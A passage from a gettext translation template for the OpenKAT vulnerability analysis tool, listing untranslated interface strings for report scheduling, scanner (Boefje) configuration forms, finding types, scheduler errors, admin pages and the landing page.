automatically \"\n\"until the schedule is enabled again.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"\"\n\"Schedule enabled successfully. '{}' will be generated according to schedule.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"An unexpected error occurred, please check logs for more info.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Other OOI type selected than Report\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Deletion successful.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"\"\n\"Multi organization reports cannot be rescheduled. It consists of imported \"\n\"data from different organizations and is not based on newly generated data.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"\"\n\"Rerun successful. It may take a moment before the new report has been \"\n\"generated.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\n#, python-format\nmsgid \"\"\n\"Couldn't rerun %s, since the recipe for this report has been disabled or \"\n\"deleted.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Renaming failed. Empty report name found.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Report names and reports does not match.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Reports successfully renamed.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Report {} could not be renamed.\"\nmsgstr \"\"\n\n#: reports/views/view_helpers.py\nmsgid \"1: Select objects\"\nmsgstr \"\"\n\n#: reports/views/view_helpers.py\nmsgid \"2: Choose report types\"\nmsgstr \"\"\n\n#: reports/views/view_helpers.py\nmsgid \"3: Configuration\"\nmsgstr \"\"\n\n#: reports/views/view_helpers.py\nmsgid \"4: Export setup\"\nmsgstr \"\"\n\n#: reports/views/view_helpers.py\nmsgid \"3: Export setup\"\nmsgstr \"\"\n\n#: tools/forms/base.py\nmsgid \"Date\"\nmsgstr \"\"\n\n#: tools/forms/base.py tools/forms/scheduler.py\nmsgid \"The selected date is in the future. Please select a different date.\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"For example: -sTU --top-ports 1000\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"JSON Schema\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"Input object type\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"Output mime types\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"Scan type\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"Interval amount\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"\"\n\"Specify the scanning interval for this Boefje. The default is 24 hours. For \"\n\"example: 5 minutes will let the Boefje scan every 5 minutes.\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"Interval frequency\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"Object creation/change\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"\"\n\"Choose weather the Boefje should run after creating and/or changing an \"\n\"object. \"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"KAT-ID\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Unique ID within OpenKAT, for this type\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Title\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Give the finding type a fitting title\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Describe the finding type\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Risk\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Solution\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"How can this be solved?\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Describe how this type of finding can be solved\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"References\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Please give some references on the solution\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Please give sources and references on the suggested solution\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Impact description\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Describe the solutions impact\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Solution chance\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Solution impact\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Solution effort\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"ID should start with \"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Finding type already exists\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Click to select one of the available options\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\n#: rocky/templates/partials/finding_occurrence_definition_list.html\nmsgid \"Proof\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Provide evidence of your finding\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Describe your finding\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Reproduce finding\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Please explain how to reproduce your finding\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py tools/forms/upload_raw.py\nmsgid \"Date/Time (UTC)\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py tools/forms/upload_raw.py\nmsgid \"Doc! I'm from the future, I'm here to take you back!\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"OOI doesn't exist\"\nmsgstr \"\"\n\n#: tools/forms/findings.py\nmsgid \"Show non-muted findings\"\nmsgstr \"\"\n\n#: tools/forms/findings.py\nmsgid \"Show muted findings\"\nmsgstr \"\"\n\n#: tools/forms/findings.py\nmsgid \"Show muted and non-muted findings\"\nmsgstr \"\"\n\n#: tools/forms/findings.py\nmsgid \"Filter by severity\"\nmsgstr \"\"\n\n#: tools/forms/findings.py\nmsgid \"Filter by muted findings\"\nmsgstr \"\"\n\n#: tools/forms/findings.py tools/forms/ooi_form.py tools/forms/scheduler.py\nmsgid \"Search\"\nmsgstr \"\"\n\n#: tools/forms/findings.py\nmsgid \"Object ID contains (case sensitive)\"\nmsgstr \"\"\n\n#: tools/forms/ooi.py\nmsgid \"Filter types\"\nmsgstr \"\"\n\n#: tools/forms/ooi.py\nmsgid \"Clearance Level\"\nmsgstr \"\"\n\n#: tools/forms/ooi.py\nmsgid \"Next scan\"\nmsgstr \"\"\n\n#: tools/forms/ooi.py\nmsgid \"Show objects that don't meet the Boefjes scan level.\"\nmsgstr \"\"\n\n#: tools/forms/ooi.py\nmsgid \"Show Boefjes that exceed the objects clearance level.\"\nmsgstr \"\"\n\n#: tools/forms/ooi.py\nmsgid \"\"\n\"All the boefjes with a scan level below or equal to the clearance level will \"\n\"be allowed to scan this object.\"\nmsgstr \"\"\n\n#: tools/forms/ooi.py\nmsgid \"Expires by (UTC)\"\nmsgstr \"\"\n\n#: tools/forms/ooi_form.py\nmsgid \"option\"\nmsgstr \"\"\n\n#: tools/forms/ooi_form.py\n#, python-brace-format\nmsgid \"Optionally choose a {option_label}\"\nmsgstr \"\"\n\n#: tools/forms/ooi_form.py\n#, python-brace-format\nmsgid \"Please choose a {option_label}\"\nmsgstr \"\"\n\n#: tools/forms/ooi_form.py\nmsgid \"Filter by clearance level\"\nmsgstr \"\"\n\n#: tools/forms/ooi_form.py\nmsgid \"Filter by clearance type\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py\nmsgid \"From\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py\nmsgid \"To\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Cancelled\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Completed\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Dispatched\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Failed\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Queued\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Running\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py\nmsgid \"Search by object name\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"--- Show all ----\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"recommendation\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"low\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"medium\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"high\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"very high\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"critical\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"quickfix\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"Declared\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"Inherited\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"Empty\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"Add one finding type ID per line.\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"Add the date and time of your finding (UTC)\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"Add the date and time of when the raw file was generated (UTC)\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"OpenKAT stores a time indication with every observation, so it is possible \"\n\"to see the status of your network through time. Select a datetime to change \"\n\"the view to represent that moment in time.\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"<p>The name of the Docker image. For example: <i>'ghcr.io/minvws/openkat/\"\n\"nmap'</i>. In OpenKAT, all Boefjes with the same container image will be \"\n\"seen as 'variants' and will be shown together on the Boefje detail page. </\"\n\"p> \"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"A description of the Boefje explaining in short what it can do. This will \"\n\"both be displayed inside the KAT-alogus and on the Boefje details page.\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"Select the object type(s) that your Boefje consumes. To select multiple \"\n\"objects, press and hold the 'ctrl'/'command' key and then click the items \"\n\"you want to select. \"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"<p>If any other settings are needed for your Boefje, add these as a JSON \"\n\"Schema, otherwise, leave the field empty or 'null'.</p> <p> This JSON is \"\n\"used as the basis for a form for the user. When the user enables this Boefje \"\n\"they can get the option to give extra information. For example, it can \"\n\"contain an API key that the script requires.</p> <p>More information about \"\n\"what the schema.json file looks like can be found <a href='https://docs.\"\n\"openkat.nl/developer_documentation/development_tutorial/creating_a_boefje.\"\n\"html'> here</a>.</p> \"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"<p>Add a set of mime types that are produced by this Boefje, separated by \"\n\"commas. For example: <i>'text/html'</i>, <i>'image/jpeg'</i> or <i>'boefje/\"\n\"{boefje-id}'</i></p> <p>These output mime types will be shown on the Boefje \"\n\"detail page as information for other users. </p> \"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"<p>Select a clearance level for your Boefje. For more information about the \"\n\"different clearance levels please check the <a href='https://docs.openkat.nl/\"\n\"manual/usermanual.html#scan-levels-clearance-indemnities'> documentation</a>.\"\n\"</p> \"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"Choose when this Boefje will scan objects. It can run on a given interval or \"\n\"it can run every time an object has been created or changed. \"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"Depth of the tree.\"\nmsgstr \"\"\n\n#: tools/forms/upload_csv.py\nmsgid \"Only CSV file supported\"\nmsgstr \"\"\n\n#: tools/forms/upload_csv.py\nmsgid \"File could not be decoded\"\nmsgstr \"\"\n\n#: tools/forms/upload_csv.py\nmsgid \"No file selected\"\nmsgstr \"\"\n\n#: tools/forms/upload_csv.py\nmsgid \"The uploaded file is empty.\"\nmsgstr \"\"\n\n#: tools/forms/upload_csv.py\nmsgid \"The number of columns do not meet the requirements.\"\nmsgstr \"\"\n\n#: tools/forms/upload_csv.py\nmsgid \"OOI Type in CSV does not meet the criteria.\"\nmsgstr \"\"\n\n#: tools/forms/upload_csv.py\nmsgid \"An error has occurred during the parsing of the csv file:\"\nmsgstr \"\"\n\n#: tools/forms/upload_csv.py\nmsgid \"Upload CSV file\"\nmsgstr \"\"\n\n#: tools/forms/upload_csv.py\nmsgid \"Only accepts CSV file.\"\nmsgstr \"\"\n\n#: tools/forms/upload_oois.py rocky/templates/partials/explanations.html\nmsgid \"Object Type\"\nmsgstr \"\"\n\n#: tools/forms/upload_oois.py\nmsgid \"Choose a type of which objects are added.\"\nmsgstr \"\"\n\n#: tools/forms/upload_raw.py\nmsgid \"Mime types\"\nmsgstr \"\"\n\n#: tools/forms/upload_raw.py\nmsgid \"\"\n\"<p>Add a set of mime types, separated by commas, for example:</\"\n\"p><p><i>\\\"text/html, image/jpeg\\\"</i> or <i>\\\"boefje/dns-records\\\"</i>.</\"\n\"p><p>Mime types are used to match the correct normalizer to a raw file. When \"\n\"the mime type \\\"boefje/dns-records\\\" is added, the normalizer expects the \"\n\"raw file to contain dns scan information.</p>\"\nmsgstr \"\"\n\n#: tools/forms/upload_raw.py rocky/templates/partials/ooi_list_toolbar.html\n#: rocky/templates/upload_raw.html\nmsgid \"Upload raw file\"\nmsgstr \"\"\n\n#: tools/forms/upload_raw.py\nmsgid \"Input or Scan OOI\"\nmsgstr \"\"\n\n#: tools/forms/upload_raw.py\nmsgid \"Click to select one of the available options, or type one yourself\"\nmsgstr \"\"\n\n#: tools/forms/upload_raw.py\nmsgid \"OOI doesn't exist, try another valid time\"\nmsgstr \"\"\n\n#: tools/models.py\nmsgid \"\"\n\"A short code containing only lower-case unicode letters, numbers, hyphens or \"\n\"underscores that will be used in URLs and paths.\"\nmsgstr \"\"\n\n#: tools/models.py\nmsgid \"\"\n\"This organization code is reserved by OpenKAT and cannot be used. Choose \"\n\"another organization code.\"\nmsgstr \"\"\n\n#: tools/models.py\nmsgid \"new\"\nmsgstr \"\"\n\n#: tools/templatetags/ooi_extra.py\nmsgid \"Unknown user\"\nmsgstr \"\"\n\n#: tools/view_helpers.py rocky/templates/header.html\n#: rocky/templates/organizations/organization_member_list.html\n#: rocky/views/organization_member_edit.py\nmsgid \"Members\"\nmsgstr \"\"\n\n#: rocky/forms.py\nmsgid \"Current status\"\nmsgstr \"\"\n\n#: rocky/forms.py rocky/templates/organizations/organization_member_list.html\nmsgid \"Active\"\nmsgstr \"\"\n\n#: rocky/forms.py rocky/templates/organizations/organization_member_list.html\nmsgid \"New\"\nmsgstr \"\"\n\n#: rocky/forms.py\nmsgid \"Account status\"\nmsgstr \"\"\n\n#: rocky/forms.py\nmsgid \"Not blocked\"\nmsgstr \"\"\n\n#: rocky/messaging.py\nmsgid \"\"\n\"You have trusted this member with a clearance level of L{}. This member \"\n\"needs at least a clearance level of L{} in order to do a proper onboarding. \"\n\"Edit this member and change the clearance level if necessary.\"\nmsgstr \"\"\n\n#: rocky/paginator.py\nmsgid \"That page number is not an integer\"\nmsgstr \"\"\n\n#: rocky/paginator.py\nmsgid \"That page number is less than 1\"\nmsgstr \"\"\n\n#: rocky/paginator.py\nmsgid \"That page contains no results\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"\"\n\"The Scheduler has an unexpected error. Check the Scheduler logs for further \"\n\"details.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"Could not connect to Scheduler. Service is possibly down.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"Your request could not be validated.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"Task could not be found.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"\"\n\"Scheduler is receiving too many requests. Increase SCHEDULER_PQ_MAXSIZE or \"\n\"wait for task to finish.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"Bad request. Your request could not be interpreted by the Scheduler.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"The Scheduler has received a conflict. Your task is already in queue.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"A HTTPError occurred. See Scheduler logs for more info.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"Schedule list: \"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"Task list: \"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Blue light\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Blue medium\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Blue dark\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Green light\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Green medium\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Green dark\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Yellow light\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Yellow medium\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Yellow dark\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Orange light\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Orange medium\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Orange dark\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Red light\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Red medium\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Red dark\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Violet light\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Violet medium\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Violet dark\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Plain\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Solid\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Dashed\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Dotted\"\nmsgstr \"\"\n\n#: rocky/templates/403.html\nmsgid \"Error code 403: Unauthorized\"\nmsgstr \"\"\n\n#: rocky/templates/403.html\nmsgid \"Your account is not authorized to access this page or organization.\"\nmsgstr \"\"\n\n#: rocky/templates/403.html\nmsgid \"Please contact your system administrator.\"\nmsgstr \"\"\n\n#: rocky/templates/403.html rocky/templates/404.html\nmsgid \"You may want to go back to the\"\nmsgstr \"\"\n\n#: rocky/templates/403.html rocky/templates/404.html\nmsgid \"Crisis Room\"\nmsgstr \"\"\n\n#: rocky/templates/404.html\nmsgid \"Error code 404: Page not found\"\nmsgstr \"\"\n\n#: rocky/templates/404.html\nmsgid \"\"\n\"The page you wanted to see or the file you wanted to view was not found.\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html\nmsgid \"Skip to main content\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html\nmsgid \"Welcome,\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html\nmsgid \"View site\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html\nmsgid \"Documentation\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html\nmsgid \"Change password\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html\nmsgid \"Log out\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html rocky/templates/header.html\nmsgid \"Breadcrumbs\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html rocky/templates/admin/change_form.html\n#: rocky/templates/admin/change_list.html\n#: rocky/templates/admin/delete_confirmation.html\n#: rocky/templates/admin/delete_selected_confirmation.html\nmsgid \"Home\"\nmsgstr \"\"\n\n#: rocky/templates/admin/change_form.html\n#, python-format\nmsgid \"Add %(name)s\"\nmsgstr \"\"\n\n#: rocky/templates/admin/change_form.html\n#: rocky/templates/admin/change_list.html\nmsgid \"Please correct the error below.\"\nmsgid_plural \"Please correct the errors below.\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: rocky/templates/admin/change_list.html\nmsgid \"Filter\"\nmsgstr \"\"\n\n#: rocky/templates/admin/change_list.html\nmsgid \"Hide counts\"\nmsgstr \"\"\n\n#: rocky/templates/admin/change_list.html\nmsgid \"Show counts\"\nmsgstr \"\"\n\n#: rocky/templates/admin/change_list.html\nmsgid \"Clear all filters\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_confirmation.html\n#, python-format\nmsgid \"\"\n\"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting \"\n\"related objects, but your account doesn't have permission to delete the \"\n\"following types of objects\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_confirmation.html\n#, python-format\nmsgid \"\"\n\"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the \"\n\"following protected related objects\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_confirmation.html\n#, python-format\nmsgid \"\"\n\"Are you sure you want to delete the %(object_name)s \\\"%(escaped_object)s\\\"? \"\n\"All of the following related items will be deleted\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_confirmation.html\n#: rocky/templates/admin/delete_selected_confirmation.html\nmsgid \"Yes, I’m sure\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_confirmation.html\n#: rocky/templates/admin/delete_selected_confirmation.html\nmsgid \"No, take me back\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_selected_confirmation.html\nmsgid \"Delete multiple objects\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_selected_confirmation.html\n#, python-format\nmsgid \"\"\n\"Deleting the selected %(objects_name)s would result in deleting related \"\n\"objects, but your account doesn't have permission to delete the following \"\n\"types of objects\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_selected_confirmation.html\n#, python-format\nmsgid \"\"\n\"Deleting the selected %(objects_name)s would require deleting the following \"\n\"protected related objects\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_selected_confirmation.html\n#, python-format\nmsgid \"\"\n\"Are you sure you want to delete the selected %(objects_name)s? All of the \"\n\"following objects and their related items will be deleted\"\nmsgstr \"\"\n\n#: rocky/templates/admin/popup_response.html\nmsgid \"Popup closing…\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/header.html\nmsgid \"Close menu\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/header.html\nmsgid \"Main navigation\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_client.html\nmsgid \"Indemnifications\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/partials/secondary-menu.html\nmsgid \"Logout\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\nmsgid \"Welcome\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\nmsgid \"User overview\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_redteam.html\n#: rocky/templates/partials/notifications_block.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"warning\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_redteam.html\n#: rocky/templates/oois/ooi_detail_origins_observations.html\n#: rocky/templates/partials/notifications_block.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Warning:\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_redteam.html\nmsgid \"Organization code missing\"\nmsgstr \"\"\n\n#: rocky/templates/finding_type_add.html\n#: rocky/templates/partials/findings_list_toolbar.html\n#: rocky/views/finding_type_add.py\nmsgid \"Add finding type\"\nmsgstr \"\"\n\n#: rocky/templates/finding_type_add.html\nmsgid \"Finding Type\"\nmsgstr \"\"\n\n#: rocky/templates/findings/finding_add.html\n#: rocky/templates/oois/ooi_detail_findings_list.html\n#: rocky/templates/oois/ooi_findings.html\n#: rocky/templates/partials/findings_list_toolbar.html\n#: rocky/views/finding_add.py\nmsgid \"Add finding\"\nmsgstr \"\"\n\n#: rocky/templates/findings/finding_list.html\nmsgid \"Findings @ \"\nmsgstr \"\"\n\n#: rocky/templates/findings/finding_list.html\n#, python-format\nmsgid \"\"\n\"An overview of all findings OpenKAT found for organization \"\n\"<strong>%(organization_name)s</strong>. Each finding relates to an object. \"\n\"Click a finding for additional information.\"\nmsgstr \"\"\n\n#: rocky/templates/findings/finding_list.html\n#, python-format\nmsgid \"Showing %(length)s of %(total)s findings\"\nmsgstr \"\"\n\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/partials/mute_findings_modal.html\nmsgid \"Mute findings\"\nmsgstr \"\"\n\n#: rocky/templates/findings/finding_list.html\nmsgid \"Unmute findings\"\nmsgstr \"\"\n\n#: rocky/templates/findings/findings_filter.html\n#: rocky/templates/partials/elements/ooi_list_settings_form.html\n#: rocky/templates/tasks/partials/task_filter.html\nmsgid \"Set filters\"\nmsgstr \"\"\n\n#: rocky/templates/findings/findings_filter.html\n#: rocky/templates/partials/elements/ooi_list_settings_form.html\n#: rocky/templates/tasks/partials/task_filter.html\nmsgid \"Clear filters\"\nmsgstr \"\"\n\n#: rocky/templates/footer.html rocky/views/privacy_statement.py\nmsgid \"Privacy Statement\"\nmsgstr \"\"\n\n#: rocky/templates/forms/json_schema_form.html\nmsgid \"Fill out this form to answer the Question (again):\"\nmsgstr \"\"\n\n#: rocky/templates/graph-d3.html\nmsgid \"\"\n\"Click a circle to collapse / expand the tree, click the text to view the \"\n\"tree from that OOI and hover over the text to see details.\"\nmsgstr \"\"\n\n#: rocky/templates/graph-d3.html\nmsgid \"Tree graph\"\nmsgstr \"\"\n\n#: rocky/templates/header.html\nmsgid \"Menu\"\nmsgstr \"\"\n\n#: rocky/templates/header.html\nmsgid \"OpenKAT logo, go to the homepage of OpenKAT\"\nmsgstr \"\"\n\n#: rocky/templates/header.html rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/partials/tasks_overview_header.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\n#: rocky/views/task_detail.py rocky/views/tasks.py\nmsgid \"Tasks\"\nmsgstr \"\"\n\n#: rocky/templates/health.html\nmsgid \"Health Checks\"\nmsgstr \"\"\n\n#: rocky/templates/health.html\nmsgid \"Health checks\"\nmsgstr \"\"\n\n#: rocky/templates/health.html\nmsgid \"Additional\"\nmsgstr \"\"\n\n#: rocky/templates/indemnification_present.html\nmsgid \"Indemnification\"\nmsgstr \"\"\n\n#: rocky/templates/indemnification_present.html\nmsgid \"\"\n\"Indemnification on the organization present. You may now add objects and \"\n\"start scans.\"\nmsgstr \"\"\n\n#: rocky/templates/indemnification_present.html\nmsgid \"Go to Objects\"\nmsgstr \"\"\n\n#: rocky/templates/indemnification_present.html\nmsgid \"Go to\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"Welcome to OpenKAT\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"Kwetsbaarheden Analyse Tool\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"What is OpenKAT?\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"OpenKAT is a vulnerability analysis tool. An Open Source-project developed \"\n\"by the Ministry of Health, Welfare and Sport to make your and our world \"\n\"safer.\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"OpenKAT sees\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"Dozens of tools are integrated in OpenKAT to view the world (digital and \"\n\"analog).\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"Our motto is therefore: I see, I see, what you do not see.\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"OpenKAT knows\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"OpenKAT does not forget (just like that), and can be queried without \"\n\"scanning again. Also about a historical situation.\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"OpenKAT is secure\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"Forensically secured storage of evidence is one of the basic ingredients of \"\n\"OpenKAT.\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"OpenKAT is sweet\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"OpenKAT thinks about privacy, and stores what is necessary, within the rules \"\n\"of your organization and the law.\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"A wide playing field\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"OpenKAT makes a copy of the actual reality by means of the integrated tools. \"\n\"Within this copy you can search for answers to countless security and policy \"\n\"questions. Expected and unexpected changes in the world are made visible, \"\n\"and where necessary reported or made known directly to the right people.\"\nmsgstr \"\"\n\n#: rocky/templates/legal/privacy_statement.html\nmsgid 